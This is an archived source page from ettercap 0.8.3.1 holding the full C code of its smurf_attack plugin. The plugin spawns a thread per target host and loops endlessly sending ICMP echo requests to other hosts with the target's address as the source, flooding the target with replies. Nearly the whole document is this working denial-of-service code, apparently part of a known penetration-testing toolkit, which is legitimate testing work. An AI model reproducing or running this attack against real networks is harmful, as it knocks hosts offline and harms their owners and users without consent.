"Fossies" - the Fresh Open Source Software Archive 
Member "ettercap-0.8.3.1/plug-ins/smurf_attack/smurf_attack.c" (1 Aug 2020, 3741 Bytes) of package /linux/privat/ettercap-0.8.3.1.tar.gz:
As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style:
standard) with prefixed line numbers and
code folding option.
Alternatively you can here
view or
download the uninterpreted source code file.
For more information about "smurf_attack.c" see the
Fossies "Dox" file reference documentation and the latest
Fossies "Diffs" side-by-side code changes report:
0.8.3_vs_0.8.3.1.
1 /*
2 * the smurf attack plugin for ettercap
3 *
4 * XXX - attack against IPv4 hosts is broken by some kernel bug
5 * on some systems as the kernel amends the source ip address
6 */
7
8 #include <ec.h>
9 #include <ec_inet.h>
10 #include <ec_plugins.h>
11 #include <ec_send.h>
12 #include <ec_threads.h>
13 #include <ec_sleep.h>
14
15 /* protos */
16 int plugin_load(void *);
17 static int smurf_attack_init(void *);
18 static int smurf_attack_fini(void *);
19 static EC_THREAD_FUNC(smurfer);
20
21 /* globals */
22
23 struct plugin_ops smurf_attack_ops = {
24 .ettercap_version = EC_VERSION,
25 .name = "smurf_attack",
26 .info = "Run a smurf attack against specified hosts",
27 .version = "1.0",
28 .init = &smurf_attack_init,
29 .fini = &smurf_attack_fini,
30 };
31
32 /* teh c0d3 */
33
34 int plugin_load(void *handle)
35 {
36 return plugin_register(handle, &smurf_attack_ops);
37 }
38
39 static int smurf_attack_init(void *dummy)
40 {
41 struct ip_list *i;
42
43 /* variable not used */
44 (void) dummy;
45
46 DEBUG_MSG("smurf_attack_init");
47
48 if(EC_GBL_OPTIONS->unoffensive) {
49 INSTANT_USER_MSG("smurf_attack: plugin doesn't work in unoffensive mode\n");
50 return PLUGIN_FINISHED;
51 }
52
53 if(EC_GBL_TARGET1->all_ip && EC_GBL_TARGET1->all_ip6) {
54 USER_MSG("Add at least one host to target one list.\n");
55 return PLUGIN_FINISHED;
56 }
57
58 if(EC_GBL_TARGET2->all_ip && EC_GBL_TARGET2->all_ip6 && LIST_EMPTY(&EC_GBL_HOSTLIST)) {
59 USER_MSG("Target two and global hostlist are empty.\n");
60 return PLUGIN_FINISHED;
61 }
62
63 EC_GBL_OPTIONS->quiet = 1;
64 INSTANT_USER_MSG("smurf_attack: starting smurf attack against the target one hosts\n");
65
66 /* creating a thread per target */
67 LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) {
68 ec_thread_new("smurfer", "thread performing a smurf attack", &smurfer, &i->ip);
69 }
70
71 /* same for IPv6 targets */
72 LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) {
73 ec_thread_new("smurfer", "thread performing a smurf attack", &smurfer, &i->ip);
74 }
75
76 return PLUGIN_RUNNING;
77 }
78
79 static int smurf_attack_fini(void *dummy)
80 {
81 pthread_t pid;
82
83 /* variable not used */
84 (void) dummy;
85
86 DEBUG_MSG("smurf_attack_fini");
87
88 while(!pthread_equal(ec_thread_getpid(NULL), pid = ec_thread_getpid("smurfer"))) {
89 ec_thread_destroy(pid);
90 }
91
92 return PLUGIN_FINISHED;
93 }
94
95 static EC_THREAD_FUNC(smurfer)
96 {
97 struct ip_addr *ip;
98 struct ip_list *i, *itmp;
99 struct hosts_list *h, *htmp;
100 LIST_HEAD(ip_list_t, ip_list) *ips = NULL;
101
102 u_int16 proto;
103 int (*icmp_send)(struct ip_addr*, struct ip_addr*);
104
105 DEBUG_MSG("smurfer");
106
107 ec_thread_init();
108 ip = EC_THREAD_PARAM;
109 proto = ntohs(ip->addr_type);
110
111 /* some pointer magic here. nothing difficult */
112 switch(proto) {
113 case AF_INET:
114 icmp_send = send_L3_icmp_echo;
115 ips = (struct ip_list_t *)&EC_GBL_TARGET2->ips;
116 break;
117 #ifdef WITH_IPV6
118 case AF_INET6:
119 icmp_send = send_L3_icmp6_echo;
120 ips = (struct ip_list_t *)&EC_GBL_TARGET2->ip6;
121 break;
122 #endif
123 default:
124 /* This won't ever be reached
125 * if no other network layer protocol
126 * is added.
127 */
128 ec_thread_destroy(ec_thread_getpid(NULL));
129 break;
130 }
131
132 LOOP {
133 CANCELLATION_POINT();
134
135 /* if target two list is not empty using it */
136 if(!LIST_EMPTY(ips))
137 LIST_FOREACH_SAFE(i, ips, next, itmp)
138 icmp_send(ip, &i->ip);
139 /* else using global hostlist */
140 else
141 LIST_FOREACH_SAFE(h, &EC_GBL_HOSTLIST, next, htmp)
142 if(ntohs(h->ip.addr_type) == proto)
143 icmp_send(ip, &h->ip);
144
145 ec_usleep(1000*1000/EC_GBL_CONF->sampling_rate);
146 }
147
148 return NULL;
149 }
150